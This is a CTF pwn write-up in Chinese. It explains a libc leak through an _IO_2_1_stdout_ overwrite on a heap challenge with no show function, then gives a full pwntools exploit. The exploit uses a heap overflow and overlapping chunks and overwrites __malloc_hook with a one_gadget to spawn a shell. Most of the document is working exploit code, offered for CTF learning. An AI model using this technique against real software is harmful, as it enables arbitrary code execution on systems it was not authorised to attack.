手法

原因:没有show函数。
攻击思路:修改_IO_2_1_stdout_

  • _flags位修改为0xfbad1800
  • _IO_write_base末尾字节修改为\x00
  • 中间的变量_IO_read_ptr _IO_read_end _IO_read_base直接填充为0
p64(0xfbad1800)+p64(0)*3+'\x00'

后续程序在调用puts函数时,就会泄露出存在libc中的地址,我们找到对应的偏移就能得到libc基址。

例子

题目地址: noleak 提取码: Ya0a

漏洞

  • strlen长度计算错误,造成堆溢出
  • 构造堆块重叠
  • 没有show
  • 攻击_IO_2_1_stdout_泄露libc基址

思路

  • 爆破攻击_IO_2_1_stdout_泄露libc基址
  • 修改__malloc_hookone_gadget

函数分析

exp

from pwn import *
from pwn import p64,u64,p32,u32,p8
from LibcSearcher import *

context.terminal = ["tmux","sp","-h"]
context(log_level="debug",os="linux",arch="amd64")
# io = process(["qemu-aarch64", "-g", "12345","-L","./libc.so.6", "./pwn"])
# io = remote("120.46.59.242",2089)
# io = process("./pwn")
elf=ELF("./pwn")
libc=ELF('/ctf/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')

sla = lambda x,y : io.sendlineafter(x,y)
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
gd = lambda : gdb.attach(io)
r = lambda : io.recv()
rn = lambda x : io.recv(x)
rl = lambda : io.recvline()
ru = lambda x : io.recvuntil(x)
rud = lambda x : io.recvuntil(x, drop=True)
inter = lambda : io.interactive()
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
leak = lambda tag,addr :log.info('\x1b[01;38;5;214m' + tag + " -------------> " + hex(addr) + '\x1b[0m')

def get_addr() :
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(libc_base) :
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def add(idx,sz, c):
io.sendlineafter("4:delete","1")
io.sendlineafter(b"index:",str(idx))
io.sendlineafter("size:",str(sz))
io.sendafter(b"content:", c)
def free(idx):
io.sendlineafter("4:delete","4")
io.sendlineafter(b"index:",str(idx))
def edit(idx,c):
io.sendlineafter("4:delete","3")
io.sendlineafter(b"index:",str(idx))
io.sendafter("content:",c)

def pwn():
add(0, 0x58, b"a"*0x58)
add(1, 0x100, b"bbbb")
add(2, 0x68, b"cccc")
add(3, 0x10, b"dddd")
add(4, 0x10, b"eeee")

edit(0, b"a"*0x58+b"\xa1\x01")
free(2)
free(1)

add(5, 0x108, b"a"*0x108)
add(6, 0x88, b"\xdd\x45")
edit(5, b"a"*0x108+b"\x71")

add(7, 0x68, b"aaaa") # 6和7是同一个chunk,有重叠部分
add(8, 0x68, b"a"*0x33 + p64(0xfbad1800) + p64(0)*3 + b"\x00") # 攻击修改_IO_2_1_stdout
libc_base = get_addr() - 0x3c4600
leak("libc", libc_base)
malloc_hook = libc_base + libc.sym["__malloc_hook"]
ogg = 0xf0897 + libc_base

add(9, 0x68, b"aaaa")
free(9)
free(7)
edit(6, p64(malloc_hook-0x23)[:6])

add(10, 0x68, b"aaaa")
add(11, 0x68, b"a"*0x13 + p64(ogg))

io.sendlineafter("4:delete","1")
io.sendlineafter(b"index:",str(12))
io.sendlineafter("size:",str(12))
inter()

if __name__ == "__main__":
while True:
io = process("./pwn")
try:
pwn()
break
except:
io.close()